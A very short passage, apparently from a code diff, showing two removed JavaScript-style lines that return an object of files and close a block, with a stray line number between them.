- return { files }
449
- }